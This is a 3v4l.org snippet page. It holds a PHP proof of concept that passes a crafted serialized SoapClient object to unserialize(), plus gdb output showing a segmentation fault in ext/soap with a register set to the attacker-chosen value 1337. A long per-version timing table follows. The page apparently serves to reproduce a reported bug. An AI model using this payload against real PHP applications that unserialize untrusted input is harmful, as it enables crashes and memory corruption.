3v4l.org

run code in 300+ PHP versions simultaneously
<?php /* (gdb) r poc2.php Starting program: /usr/bin/php /home/poc2.php [Thread debugging using libthread_db enabled] Program received signal SIGSEGV, Segmentation fault. 0x00000000007dac54 in serialize_function_call (this_ptr=0x7ffff7fb7868, function=0x0, function_name=0x7ffff7fba708 "notexisting", uri=0x7ffff7fba9b0 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff0b72370) at /home/php-5.6.11/ext/soap/soap.c:4351 4351 HashTable *ht = Z_OBJPROP_PP(header); (gdb) x/i $pc => 0x7dac54 <serialize_function_call+2145>: mov 0x70(%rax),%rax (gdb) p $rax $4 = 1337 */ $dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;s:1337:"'.str_repeat("X", 1337).'";}}'); var_dump($dummy->notexisting()); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.40.0040.01119.02
8.3.30.0140.00018.84
8.3.20.0000.00920.39
8.3.10.0080.00021.63
8.3.00.0000.00720.20
8.2.170.0070.01022.96
8.2.160.0070.01020.92
8.2.150.0000.00824.18
8.2.140.0040.00424.66
8.2.130.0000.00826.16
8.2.120.0000.00817.50
8.2.110.0030.00621.06
8.2.100.0000.01117.84
8.2.90.0080.00017.84
8.2.80.0030.00517.97
8.2.70.0030.00617.63
8.2.60.0040.00418.03
8.2.50.0030.00618.07
8.2.40.0000.00719.31
8.2.30.0070.00020.69
8.2.20.0000.00817.71
8.2.10.0000.00717.96
8.2.00.0050.00318.08
8.1.270.0000.00824.66
8.1.260.0140.00026.35
8.1.250.0050.00228.09
8.1.240.0090.00022.57
8.1.230.0110.00020.92
8.1.220.0000.00817.74
8.1.210.0000.00819.03
8.1.200.0030.00617.35
8.1.190.0050.00317.35
8.1.180.0000.00818.10
8.1.170.0030.00618.63
8.1.160.0050.00222.09
8.1.150.0040.00418.80
8.1.140.0030.00517.54
8.1.130.0040.00417.78
8.1.120.0070.00017.49
8.1.110.0020.00517.54
8.1.100.0000.00717.47
8.1.90.0000.00717.37
8.1.80.0000.00817.49
8.1.70.0030.00317.48
8.1.60.0070.00017.50
8.1.50.0050.00317.61
8.1.40.0050.00317.45
8.1.30.0000.00817.61
8.1.20.0000.00817.69
8.1.10.0040.00417.63
8.1.00.0000.00717.61
8.0.300.0030.00520.00
8.0.290.0000.00716.75
8.0.280.0070.00018.41
8.0.270.0050.00417.35
8.0.260.0070.00317.19
8.0.250.0040.00416.93
8.0.240.0030.00317.09
8.0.230.0030.00416.95
8.0.220.0000.00716.98
8.0.210.0030.00316.92
8.0.200.0030.00317.08
8.0.190.0040.00417.02
8.0.180.0030.00617.02
8.0.170.0080.00017.05
8.0.160.0000.00717.00
8.0.150.0040.00416.81
8.0.140.0000.00716.93
8.0.130.0030.00313.36
8.0.120.0070.00016.96
8.0.110.0000.00717.03
8.0.100.0000.00816.84
8.0.90.0080.00016.76
8.0.80.0150.00616.94
8.0.70.0080.00016.98
8.0.60.0000.00717.04
8.0.50.0000.00716.95
8.0.30.0130.00417.05
8.0.20.0070.01217.40
8.0.10.0040.00417.01
8.0.00.0100.00816.73
7.4.330.0070.00015.08
7.4.320.0030.00316.57
7.4.300.0060.00016.46
7.4.290.0000.00716.42
7.4.280.0080.00316.57
7.4.270.0000.00716.58
7.4.260.0050.00216.54
7.4.250.0000.00716.54
7.4.240.0020.00516.45
7.4.230.0000.00716.27
7.4.220.0090.00916.53
7.4.210.0000.01516.43
7.4.200.0070.00016.38
7.4.160.0140.00716.50
7.4.150.0100.00717.40
7.4.140.0120.00617.86
7.4.130.0120.00916.53
7.4.120.0060.01116.58
7.4.110.0090.01216.42
7.4.100.0030.01416.52
7.4.90.0160.00316.52
7.4.80.0060.01219.39
7.4.70.0130.00616.45
7.4.60.0030.01416.48
7.4.50.0000.00816.64
7.4.40.0100.00716.55
7.4.30.0110.01516.55
7.4.00.0110.00614.96
7.3.330.0030.00313.14
7.3.320.0000.00513.17
7.3.310.0000.00716.26
7.3.300.0050.00216.30
7.3.290.0080.01216.36
7.3.280.0090.00916.27
7.3.270.0090.01017.40
7.3.260.0060.00916.44
7.3.250.0090.00816.38
7.3.240.0130.00916.40
7.3.230.0060.01216.39
7.3.210.0120.00616.39
7.3.200.0100.00716.38
7.3.190.0060.01016.25
7.3.180.0100.00616.33
7.3.170.0090.01216.46
7.3.160.0110.00816.42
7.3.120.0090.00914.99
7.3.110.0030.00915.00
7.3.100.0110.00314.99
7.3.90.0060.00915.05
7.3.80.0000.01415.01
7.3.70.0080.00614.86
7.3.60.0090.00614.90
7.3.50.0040.00814.93
7.3.40.0030.01014.42
7.3.30.0040.00814.89
7.3.20.0070.00716.68
7.3.10.0100.00316.50
7.3.00.0030.01016.60
7.2.330.0030.01416.57
7.2.320.0130.00416.29
7.2.310.0100.00716.83
7.2.300.0090.01216.53
7.2.290.0100.01316.48
7.2.250.0110.00715.24
7.2.240.0000.02015.16
7.2.230.0130.00315.03
7.2.220.0000.01014.77
7.2.210.0030.01414.85
7.2.200.0060.00914.94
7.2.190.0050.00515.02
7.2.180.0030.01315.13
7.2.170.0060.00815.04
7.2.60.0110.00416.79
7.2.00.0060.00619.07
7.1.330.0100.00715.70
7.1.320.0000.01115.61
7.1.310.0060.00915.84
7.1.300.0040.00815.88
7.1.290.0070.00715.77
7.1.280.0030.00615.65
7.1.270.0060.00615.57
7.1.260.0030.00915.65
7.1.200.0040.01115.34
7.1.100.0070.00317.82
7.1.70.0030.00617.13
7.1.60.0130.01019.11
7.1.50.0050.00516.78
7.1.00.0070.07322.48
7.0.200.0000.00816.49
7.0.70.4930.04319.93
7.0.60.0030.04019.91
7.0.50.0100.07717.91
7.0.40.0070.07720.23
7.0.30.0430.04720.09
7.0.20.0230.04320.09
7.0.10.0270.05320.00
7.0.00.0100.04720.00
5.6.280.0070.04720.91
5.6.210.0130.05020.53
5.6.200.0000.06018.11
5.6.190.0000.04720.45
5.6.180.0030.05320.37
5.6.170.0230.04020.47
5.6.160.0100.06720.33
5.6.150.0070.08318.18
5.6.140.0100.08018.09
5.6.130.0170.07018.15
5.6.120.0170.08021.00
5.6.110.0100.07020.97
5.6.100.0070.08020.99
5.6.90.0200.07020.88
5.6.80.0070.05020.48
5.6.70.0270.07020.24
5.5.350.0030.08020.36
5.5.340.0070.07718.01
5.5.330.0070.04720.21
5.5.320.0100.07720.38
5.5.310.0330.07320.27
5.5.300.0100.04317.95
5.5.290.0130.07317.91
5.5.280.0170.07320.87
5.5.270.0030.09020.86
5.5.260.0230.06720.88
5.5.250.0130.07020.57
5.5.240.0270.05720.01
5.4.450.1000.06019.55
5.4.440.1100.05019.41
5.4.430.1000.05719.58
5.4.420.0970.06019.57
5.4.410.1130.06319.28
5.4.400.1170.05319.17
5.4.390.0970.05719.16
5.4.380.0970.05719.15
5.4.370.0770.05719.28
5.4.360.0770.05319.27
5.4.350.0900.04018.78
5.4.340.1000.05319.19
5.4.320.0770.05718.77
5.4.310.0800.05718.80
5.4.300.0700.05319.15
5.4.290.0730.05019.08
5.4.280.0970.05718.99
5.4.270.1000.05719.30
5.4.260.1030.05019.25
5.4.250.1100.05319.19
5.4.240.1230.07319.08
5.4.230.0800.05319.17
5.4.220.1200.06719.19
5.4.210.1030.06319.21
5.4.200.0830.05018.77
5.4.190.0730.06318.78
5.4.180.0800.04719.18
5.4.170.0830.05319.27
5.4.160.0730.05719.25
5.4.150.0870.05719.25
5.4.140.0700.05716.36
5.4.130.0830.04016.32
5.4.120.0830.04316.44
5.4.110.0770.05016.37
5.4.100.0830.04016.29
5.4.90.0830.04316.44
5.4.80.0770.04716.49
5.4.70.0030.03716.21
5.4.60.0130.04716.28
5.4.50.0100.06016.41
5.4.40.0070.07016.40
5.4.30.0000.03716.36
5.4.20.0200.05016.18
5.4.10.0230.03716.37

preferences:
47.17 ms | 400 KiB | 5 Q